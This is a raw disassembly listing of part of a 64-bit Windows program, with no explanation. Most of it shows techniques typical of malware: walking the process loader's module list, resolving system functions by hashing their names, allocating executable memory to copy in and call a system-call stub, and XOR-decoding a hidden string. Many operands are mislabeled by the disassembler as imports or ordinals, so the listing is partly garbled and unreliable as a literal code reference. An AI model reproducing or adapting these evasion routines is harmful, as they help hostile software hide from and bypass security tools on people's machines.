mov byte [rsp + 0x53a], 0
movsxd rax, dword [rsp + 0x3838]
mov qword [rsp + 0x7408], rax
mov byte [rsp + 0x53b], 1
mov byte [rsp + 0x53c], 0
movsxd rax, dword [rsp + 0x383c]
mov qword [rsp + 0x7410], rax
mov byte [rsp + 0x53d], 1
mov byte [rsp + 0x53e], 0
movsxd rax, dword [rsp + 0x3840]
mov qword [rsp + 0x7418], rax
mov byte [rsp + 0x53f], 0
mov byte [rsp + 0x540], 0
mov rax, qword [rsp + 0x7218]
mov qword [rsp + 0x7420], rax
mov byte [rsp + 0x541], 0
mov byte [rsp + 0x542], 0
mov rax, qword [rsp + 0x7220]
mov qword [rsp + 0x7428], rax
mov byte [rsp + 0x543], 0
mov byte [rsp + 0x544], 1
mov eax, dword [rsp + 0x3844]
mov qword [rsp + 0x7430], rax
mov byte [rsp + 0x545], 0
mov byte [rsp + 0x546], 0
mov rax, qword [rsp + 0x7228]
mov qword [rsp + 0x7438], rax
mov eax, dword [rsp + 0x6208]
mov dword [rsp + 0x3848], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4d88]
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0x7230]
mov qword [rsp + 0xd0f0], rax
mov byte [rsp + 0xd0f8], 1
mov rax, qword [rsp + 0x4d88]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7238], rax
lea r8, [rsp + 0x3848]
lea rdx, [rsp + 0x4da0]
mov rcx, qword [rsp + 0x7238]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7240], rax
mov rax, qword [rsp + 0x7240]
add rax, 8
mov qword [rsp + 0x4d90], rax
mov rax, qword [rsp + 0xdd28]
mov qword [rsp + 0x4d98], rax
mov rax, qword [rsp + 0x4d90]
mov qword [rsp + 0x4d98], rax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov qword [rsp + 0x7248], rax
mov r8, qword [rsp + 0x4d98]
mov rdx, qword [rsp + 0x7248]
lea rcx, [rsp + 0x7250]
call fcn.14006f260
lea rax, [rsp + 0x7250]
mov qword [rsp + 0x7258], rax
mov rax, qword [rsp + 0x7258]
mov rax, qword [rax]
cmp qword [rsp + 0x4da0], rax
jne 0x14011e357
mov dword [rsp + 0x1018], 1
jmp 0x14011e362
mov dword [rsp + 0x1018], 0
movzx eax, byte [rsp + 0x1018]
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb5]
test eax, eax
je 0x14011e38b
mov qword [rsp + 0x4da8], 0
jmp 0x14011e3f3
mov rax, qword [rsp + 0x4da0]
add rax, 0x10
mov qword [rsp + 0x7260], rax
mov rax, qword [rsp + 0x7260]
mov qword [rsp + 0x7268], rax
mov rax, qword [rsp + 0x7268]
mov qword [rsp + 0x7270], rax
mov rax, qword [rsp + 0x7270]
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x7278]
mov qword [rsp + 0x7280], rax
mov rax, qword [rsp + 0x7280]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4da8], rax
mov rax, qword [rsp + 0x4da8]
mov qword [rsp + 0x7290], rax
movzx eax, byte [rsp + 0xd0f8]
test eax, eax
je 0x14011e42f
mov rax, qword [rsp + 0xd0f0]
mov qword [rsp + 0x7288], rax
mov rax, qword [rsp + 0x7288]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7290]
mov qword [rsp + 0x4db0], rax
cmp qword [rsp + 0x4db0], 0
je 0x14011e46f
mov rax, qword [rsp + 0x4db0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3850], eax
mov eax, dword [rsp + 0x3850]
mov dword [rsp + 0x620c], eax
jmp 0x14011f30b
lea rax, [rsp + 0xcee8]
mov qword [rsp + 0x4db8], rax
mov rax, qword [rsp + 0x4db8]
mov dword [rax], 0
mov rax, qword [rsp + 0x4db8]
mov eax, dword [rax]
mov dword [rsp + 0x3860], eax
lea rax, [rsp + 0xceec]
mov qword [rsp + 0x4dc0], rax
mov eax, dword [rsp + 0x6208]
mov dword [rsp + 0x3858], eax
mov rax, qword [rsp + 0x4dc0]
mov ecx, dword [rsp + 0x3858]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4dc0]
mov eax, dword [rax]
mov dword [rsp + 0x3864], eax
mov eax, dword [rsp + 0x3860]
mov dword [rsp + 0x1028], eax
mov eax, dword [rsp + 0x3864]
mov dword [rsp + 0x1050], eax
mov dword [rsp + 0x3868], 0
mov eax, dword [rsp + 0x3868]
cmp dword [rsp + 0x1050], eax
jne 0x14011e529
xor eax, eax
cmp eax, 1
je 0x14011e529
mov dword [rsp + 0x101c], 1
jmp 0x14011e534
mov dword [rsp + 0x101c], 0
movzx eax, byte [rsp + 0x101c]
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb6]
test eax, eax
je 0x14011e560
mov qword [rsp + 0x1158], 0
jmp 0x14011f1cc
mov byte [rsp + 0x560], 1
mov qword [rsp + 0x6c90], 0
mov qword [rsp + 0x6c98], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7298], rax
mov rax, qword [rsp + 0x7298]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x72a0], rax
mov rax, qword [rsp + 0x72a0]
add rax, 0x10
mov qword [rsp + 0x3bc0], rax
mov eax, 1
test eax, eax
je 0x14011e5da
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4dc8], rax
jmp 0x14011e5ed
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov qword [rsp + 0x4dc8], rax
mov rax, qword [rsp + 0x4dc8]
mov qword [rsp + 0x6c90], rax
mov rax, qword [rsp + 0x3bc0]
mov qword [rsp + 0x6c98], rax
lea rax, [rsp + 0x6c90]
mov qword [rsp + 0x4dd0], rax
mov rax, qword [rsp + 0x4dd0]
mov rax, qword [rax]
mov qword [rsp + 0x72a8], rax
mov rax, qword [rsp + 0x72a8]
mov qword [rsp + 0x1140], rax
mov rax, qword [rsp + 0x4dd0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x72b0], rax
mov rax, qword [rsp + 0x72b0]
mov qword [rsp + 0x72b8], rax
jmp 0x14011e679
mov rax, qword [rsp + 0x1140]
mov rax, qword [rax]
mov qword [rsp + 0x1140], rax
mov rax, qword [rsp + 0x72b8]
cmp qword [rsp + 0x1140], rax
je 0x14011e698
mov dword [rsp + 0x1020], 1
jmp 0x14011e6a3
mov dword [rsp + 0x1020], 0
movzx eax, byte [rsp + 0x1020]
test eax, eax
je 0x14011f1c0
xor eax, eax
mov qword [rsp + 0x72c0], rax
mov rax, qword [rsp + 0x72c0]
mov rcx, qword [rsp + 0x1140]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x72c8], rax
lea rax, [rsp + 0x72c8]
mov qword [rsp + 0x4de0], rax
mov dword [rsp + 0x386c], 0
mov eax, dword [rsp + 0x386c]
cmp dword [rsp + 0x1028], eax
jne 0x14011e71a
xor eax, eax
cmp eax, 1
je 0x14011e71a
mov dword [rsp + 0x1024], 1
jmp 0x14011e725
mov dword [rsp + 0x1024], 0
movzx eax, byte [rsp + 0x1024]
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb7]
test eax, eax
jne 0x14011ea64
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x72d0], rax
mov rax, qword [rsp + 0x72d0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4dd8]
mov qword [rsp + 0xd580], rax
mov rax, qword [rsp + 0x4dd8]
mov qword [rsp + 0x72d8], rax
mov qword [rsp + 0x1148], 0xffffffffffffffff
inc qword [rsp + 0x1148]
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x1148]
cmp word [rax + rcx*2], 0
jne 0x14011e79b
mov rax, qword [rsp + 0x1148]
mov qword [rsp + 0x72e0], rax
mov rax, qword [rsp + 0x72e0]
mov qword [rsp + 0xd588], rax
lea rax, [rsp + 0xd580]
mov qword [rsp + 0x72e8], rax
lea rax, [rsp + 0xdfb0]
mov rdi, rax
mov rsi, qword [rsp + 0x72e8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1028]
mov dword [rsp + 0x3870], eax
lea rax, [rsp + 0xd100]
lea rcx, [rsp + 0xdfb0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x3870]
mov dword [rsp + 0x1040], eax
lea rax, [rsp + 0x1030]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1030], 0x1b6e1b1e
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x72f0], rax
lea rax, [rsp + 0xdfc0]
lea rcx, [rsp + 0xd100]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xdfd0]
lea rcx, [rsp + 0xdfc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xdfd0]
mov rcx, qword [rsp + 0x72f0]
call fcn.140097890
mov dword [rsp + 0x3874], eax
mov rax, qword [rsp + 0xd108]
mov qword [rsp + 0x72f8], rax
mov rax, qword [rsp + 0x72f8]
sub rax, 4
mov qword [rsp + 0x7300], rax
mov r9, qword [rsp + 0x7300]
xor r8d, r8d
lea rdx, [rsp + 0xdfe0]
lea rcx, [rsp + 0xd100]
call fcn.14019ab70
lea rax, [rsp + 0x1034]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1034], 0x1b6e1b1e
lea rax, [rsp + 0x1034]
mov qword [rsp + 0x7308], rax
lea rax, [rsp + 0xdff0]
lea rcx, [rsp + 0xdfe0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe000]
lea rcx, [rsp + 0xdff0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe000]
mov rcx, qword [rsp + 0x7308]
call fcn.140097890
mov dword [rsp + 0x387c], eax
mov eax, dword [rsp + 0x3874]
mov dword [rsp + 0x3878], eax
mov eax, dword [rsp + 0x3878]
cmp dword [rsp + 0x1040], eax
jne 0x14011e9bd
xor eax, eax
cmp eax, 1
je 0x14011e9bd
mov dword [rsp + 0x1038], 1
jmp 0x14011e9c8
mov dword [rsp + 0x1038], 0
movzx eax, byte [rsp + 0x1038]
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb8]
test eax, eax
jne 0x14011ea48
mov eax, dword [rsp + 0x387c]
mov dword [rsp + 0x3880], eax
mov eax, dword [rsp + 0x3880]
cmp dword [rsp + 0x1040], eax
jne 0x14011ea15
xor eax, eax
cmp eax, 1
je 0x14011ea15
mov dword [rsp + 0x1048], 1
jmp 0x14011ea20
mov dword [rsp + 0x1048], 0
movzx eax, byte [rsp + 0x1048]
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xb9]
test eax, eax
jne 0x14011ea48
mov dword [rsp + 0x104c], 1
jmp 0x14011ea53
mov dword [rsp + 0x104c], 0
movzx eax, byte [rsp + 0x104c]
test eax, eax
je 0x14011ea64
jmp 0x14011e666
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4de8], rax
mov rax, qword [rsp + 0x4de8]
mov qword [rsp + 0x42f0], rax
mov rax, qword [rsp + 0x4de8]
mov qword [rsp + 0x7310], rax
mov rax, qword [rsp + 0x7310]
mov qword [rsp + 0x4df0], rax
mov rax, qword [rsp + 0x4df0]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4df0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x7318], rax
mov eax, dword [rsp + 0x7318]
add rax, qword [rsp + 0x42f0]
mov qword [rsp + 0x7320], rax
mov rax, qword [rsp + 0x7320]
mov qword [rsp + 0x42f8], rax
mov eax, dword [rsp + 0x1050]
mov dword [rsp + 0x3884], eax
mov eax, dword [rsp + 0x3884]
mov dword [rsp + 0x3888], eax
lea rdx, [rsp + 0x13da8]
lea rcx, [rsp + 0x42f0]
call fcn.1401906d0
lea rcx, [rsp + 0x12ec0]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x13dd0]
lea rcx, [rsp + 0x42f0]
call fcn.14018ec60
lea rcx, [rsp + 0x12ee8]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12f10]
lea rcx, [rsp + 0x12ec0]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12f40]
lea rcx, [rsp + 0x12ee8]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x3888]
lea r8, [rsp + 0x12f10]
lea rdx, [rsp + 0x12f40]
lea rcx, [rsp + 0x118b8]
call fcn.140097110
lea rdx, [rsp + 0x13df8]
lea rcx, [rsp + 0x42f0]
call fcn.1401906d0
mov qword [rsp + 0x4df8], rax
mov rax, qword [rsp + 0x4df8]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x118c0], rax
jne 0x14011ec19
mov rax, qword [rsp + 0x4df8]
mov rax, qword [rax]
cmp qword [rsp + 0x118b8], rax
jne 0x14011ec19
mov dword [rsp + 0x1058], 1
jmp 0x14011ec24
mov dword [rsp + 0x1058], 0
movzx eax, byte [rsp + 0x1058]
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xba]
test eax, eax
je 0x14011ec44
jmp 0x14011e666
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14011ed0a
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x4e00], rax
mov rax, qword [rsp + 0x4e00]
mov qword [rax], 0
mov rax, qword [rsp + 0x4e00]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x4e08]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x118c8]
mov qword [rsp + 0x4e10], rax
mov rax, qword [rsp + 0x4e10]
mov qword [rsp + 0xdd30], rax
mov rax, qword [rsp + 0x4e10]
add rax, 0x10
mov qword [rsp + 0x3bd8], rax
mov rax, qword [rsp + 0x3bd8]
mov rax, qword [rax]
mov qword [rsp + 0x4e30], rax
mov rax, qword [rsp + 0x42f0]
mov qword [rsp + 0x7328], rax
mov rax, qword [rsp + 0x7328]
mov qword [rsp + 0x4e18], rax
mov rax, qword [rsp + 0x4e18]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4e18]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x4e20], rax
mov eax, dword [rsp + 0x4e20]
add rax, qword [rsp + 0x42f0]
mov qword [rsp + 0x4e28], rax
mov eax, dword [rsp + 0x4e24]
mov rcx, qword [rsp + 0x4e28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7330], rax
mov rax, qword [rsp + 0x4e28]
cmp qword [rsp + 0x4e30], rax
jb 0x14011edf9
mov rax, qword [rsp + 0x7330]
cmp qword [rsp + 0x4e30], rax
jae 0x14011edf9
mov dword [rsp + 0x105c], 1
jmp 0x14011ee04
mov dword [rsp + 0x105c], 0
movzx eax, byte [rsp + 0x105c]
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbb]
test eax, eax
je 0x14011f1a6
mov rax, qword [rsp + 0x3bd8]
mov rax, qword [rax]
mov qword [rsp + 0x7338], rax
mov rax, qword [rsp + 0x7338]
mov qword [rsp + 0x4e38], rax
lea rax, [rsp + 0x12268]
mov qword [rsp + 0x3bc8], rax
mov rax, qword [rsp + 0x3bc8]
mov rcx, qword [rsp + 0x4e38]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4e38]
mov qword [rsp + 0x7340], rax
mov qword [rsp + 0x1150], 0xffffffffffffffff
inc qword [rsp + 0x1150]
mov rax, qword [rsp + 0x7340]
mov rcx, qword [rsp + 0x1150]
cmp byte [rax + rcx], 0
jne 0x14011ee85
mov rax, qword [rsp + 0x1150]
mov qword [rsp + 0x7348], rax
mov rax, qword [rsp + 0x3bc8]
mov rcx, qword [rsp + 0x7348]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x6110]
mov rdi, rax
mov rsi, qword [rsp + 0x3bc8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x6110]
call fcn.140096220
mov qword [rsp + 0x3bd0], rax
cmp qword [rsp + 0x3bd0], 0xffffffffffffffff
je 0x14011ef99
mov r9, qword [rsp + 0x3bd0]
xor r8d, r8d
lea rdx, [rsp + 0xe010]
lea rcx, [rsp + 0x6110]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3bd0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe020]
lea rcx, [rsp + 0x6110]
call fcn.14019aaa0
lea rax, [rsp + 0xd640]
lea rcx, [rsp + 0xe010]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd650]
lea rcx, [rsp + 0xe020]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x14011eff8
lea rax, [rsp + 0x6110]
mov qword [rsp + 0x7350], rax
mov qword [rsp + 0xd590], 0
mov qword [rsp + 0xd598], 0
lea rax, [rsp + 0xd640]
mov rdi, rax
mov rsi, qword [rsp + 0x7350]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd650]
lea rcx, [rsp + 0xd590]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd640]
mov qword [rsp + 0x7358], rax
lea rax, [rsp + 0xd650]
mov qword [rsp + 0x7368], rax
lea rax, [rsp + 0xcef0]
mov qword [rsp + 0x4e40], rax
lea rax, [rsp + 0x1060]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1060], 0x1b6e1b1e
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x7360], rax
lea rax, [rsp + 0xe030]
mov rdi, rax
mov rsi, qword [rsp + 0x7358]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe040]
lea rcx, [rsp + 0xe030]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe040]
mov rcx, qword [rsp + 0x7360]
call fcn.1400977d0
mov dword [rsp + 0x3890], eax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x3890]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov dword [rsp + 0x38a0], eax
lea rax, [rsp + 0xcef4]
mov qword [rsp + 0x4e48], rax
lea rax, [rsp + 0x1064]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1064], 0x1b6e1b1e
lea rax, [rsp + 0x1064]
mov qword [rsp + 0x7370], rax
lea rax, [rsp + 0xe050]
mov rdi, rax
mov rsi, qword [rsp + 0x7368]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe060]
lea rcx, [rsp + 0xe050]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe060]
mov rcx, qword [rsp + 0x7370]
call fcn.1400977d0
mov dword [rsp + 0x3898], eax
mov rax, qword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x3898]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov dword [rsp + 0x38a4], eax
mov r8d, dword [rsp + 0x38a0]
mov edx, dword [rsp + 0x38a4]
lea rcx, [rsp + 0x3be0]
call fcn.140191150
mov qword [rsp + 0x1158], rax
jmp 0x14011f1cc
mov rax, qword [rsp + 0x3bd8]
mov rax, qword [rax]
mov qword [rsp + 0x1158], rax
jmp 0x14011f1cc
mov qword [rsp + 0x1158], 0
mov rax, qword [rsp + 0x1158]
mov qword [rsp + 0x3be0], rax
mov rax, qword [rsp + 0xdd38]
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x3be0]
mov qword [rsp + 0x4e50], rax
mov eax, dword [rsp + 0x6208]
mov dword [rsp + 0x38a8], eax
mov rax, qword [rsp + 0x4e50]
mov qword [rsp + 0x7388], rax
mov eax, dword [rsp + 0x38a8]
mov dword [rsp + 0x38b0], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x7378], rax
mov rax, qword [rsp + 0x7378]
mov qword [rsp + 0x6120], rax
mov byte [rsp + 0x6128], 0
mov rax, qword [rsp + 0x6120]
mov qword [rsp + 0x7380], rax
mov rax, qword [rsp + 0x7380]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x6128], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7390], rax
lea r9, [rsp + 0x7388]
lea r8, [rsp + 0x38b0]
lea rdx, [rsp + 0x12278]
mov rcx, qword [rsp + 0x7390]
call fcn.140098320
movzx eax, byte [rsp + 0x6128]
test eax, eax
je 0x14011f2db
mov rax, qword [rsp + 0x6120]
mov qword [rsp + 0x7398], rax
mov rax, qword [rsp + 0x7398]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x3be0]
mov qword [rsp + 0x73a0], rax
mov rax, qword [rsp + 0x73a0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x38b8], eax
mov eax, dword [rsp + 0x38b8]
mov dword [rsp + 0x620c], eax
lea rax, [rsp + 0x6210]
mov qword [rsp + 0x73a8], rax
mov eax, dword [rsp + 0x620c]
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x73a8]
add rax, 0x11
mov qword [rsp + 0x73b0], rax
mov eax, 6
mov rcx, qword [rsp + 0x73b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x73b8], rax
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [rsp + 0x38c0]
mov dword [rax], ecx
lea rax, [rsp + 0x6210]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x568]
add rax, 0x10
mov qword [rsp + 0xdd40], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x73c0], rax
mov qword [rsp + 0x4e58], 0
mov qword [rsp + 0x73c8], 0xd
mov rax, qword [rsp + 0x73c0]
mov qword [rsp + 0x73d0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x73c8]
xor r8d, r8d
lea rdx, [rsp + 0x4e58]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x73d0]
mov dword [rsp + 0x38c8], eax
cmp dword [rsp + 0x38c8], 0
jl 0x14011f41c
mov rax, qword [rsp + 0x4e58]
mov qword [rsp + 0x4e60], rax
jmp 0x14011f428
mov qword [rsp + 0x4e60], 0
mov rax, qword [rsp + 0x4e60]
mov qword [rsp + 0x73d8], rax
mov rax, qword [rsp + 0x568]
mov rcx, qword [rsp + 0x73d8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x568]
cmp qword [rax + 8], 0
jne 0x14011f45d
jmp 0x14011f4a6
mov rax, qword [rsp + 0x568]
add rax, 0x11
mov qword [rsp + 0x73e0], rax
mov rax, qword [rsp + 0x568]
mov rax, qword [rax + 8]
mov rdi, rax
mov rsi, qword [rsp + 0x73e0]
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x568]
mov rcx, qword [rsp + 0x568]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6210]
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x73e8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x73f0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x73f8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x7400]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x7408]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x7410]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x7418]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x7420]
mov r8, qword [rsp + 0x7428]
mov rdx, qword [rsp + 0x7430]
mov rcx, qword [rsp + 0x7438]
call qword [rsp + 0x7440]
mov dword [rsp + 0x38cc], eax
lea rax, [rsp + 0x6210]
mov rcx, rax
call fcn.1400a0db0
mov eax, dword [rsp + 0x38cc]
mov dword [rsp + 0x1068], eax
cmp qword [rsp + 0xa8], 0
je 0x14011f57d
cmp qword [rsp + 0xa8], 0xffffffffffffffff
je 0x14011f57d
cmp dword [rsp + 0x1068], 0
jge 0x14011f5b0
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0x7448], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x7448]
jmp 0x140158d4c
lea rax, [rsp + 0x4648]
lea rcx, str.G_F_EVU
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0xc
movsx eax, byte [rsp + rax + 0x4648]
test eax, eax
je 0x14011f5ee
mov dword [rsp + 0x106c], 1
jmp 0x14011f5f9
mov dword [rsp + 0x106c], 0
movzx eax, byte [rsp + 0x106c]
test eax, eax
je 0x14011f673
mov dword [rsp + 0x114], 0
jmp 0x14011f622
mov eax, dword [rsp + 0x114]
inc eax
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 0xd
jge 0x14011f673
movsxd rax, dword [rsp + 0x114]
movsx eax, byte [rsp + rax + 0x4648]
mov dword [rsp + 0x38d0], eax
mov eax, dword [rsp + 0x114]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x38d0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x114]
mov byte [rsp + rcx + 0x4648], al
jmp 0x14011f612
lea rax, [rsp + 0x4648]
mov qword [rsp + 0x4e68], rax
lea rax, [rsp + 0x10f70]
mov qword [rsp + 0x7450], rax
movzx edx, byte [rsp + 0x561]
mov rcx, qword [rsp + 0x7450]
call fcn.14005b2a0
nop
mov rax, qword [rsp + 0x4e68]
mov qword [rsp + 0x7458], rax
mov qword [rsp + 0x1160], 0xffffffffffffffff
inc qword [rsp + 0x1160]
mov rax, qword [rsp + 0x7458]
mov rcx, qword [rsp + 0x1160]
cmp byte [rax + rcx], 0
jne 0x14011f6c5
mov rax, qword [rsp + 0x1160]
mov qword [rsp + 0x7460], rax
mov rax, qword [rsp + 0x7460]
mov qword [rsp + 0x7468], rax
mov r8, qword [rsp + 0x7468]
mov rdx, qword [rsp + 0x4e68]
lea rcx, [rsp + 0x10f70]
call fcn.14005d120
nop
lea rcx, [rsp + 0x10f70]
call fcn.1400f6a60
mov qword [0x1404d0da8], rax
lea rcx, [rsp + 0x10f70]
call fcn.140078080
cmp qword [0x1404d0da8], 0
jne 0x14011f77f
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0x7470], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x7470]
jmp 0x140158d4c
lea rax, [rsp + 0x13390]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea rax, [rsp + 0x13390]
mov qword [rsp + 0x4e78], rax
mov rax, qword [0x1404d0da8]
mov qword [rsp + 0x4e70], rax
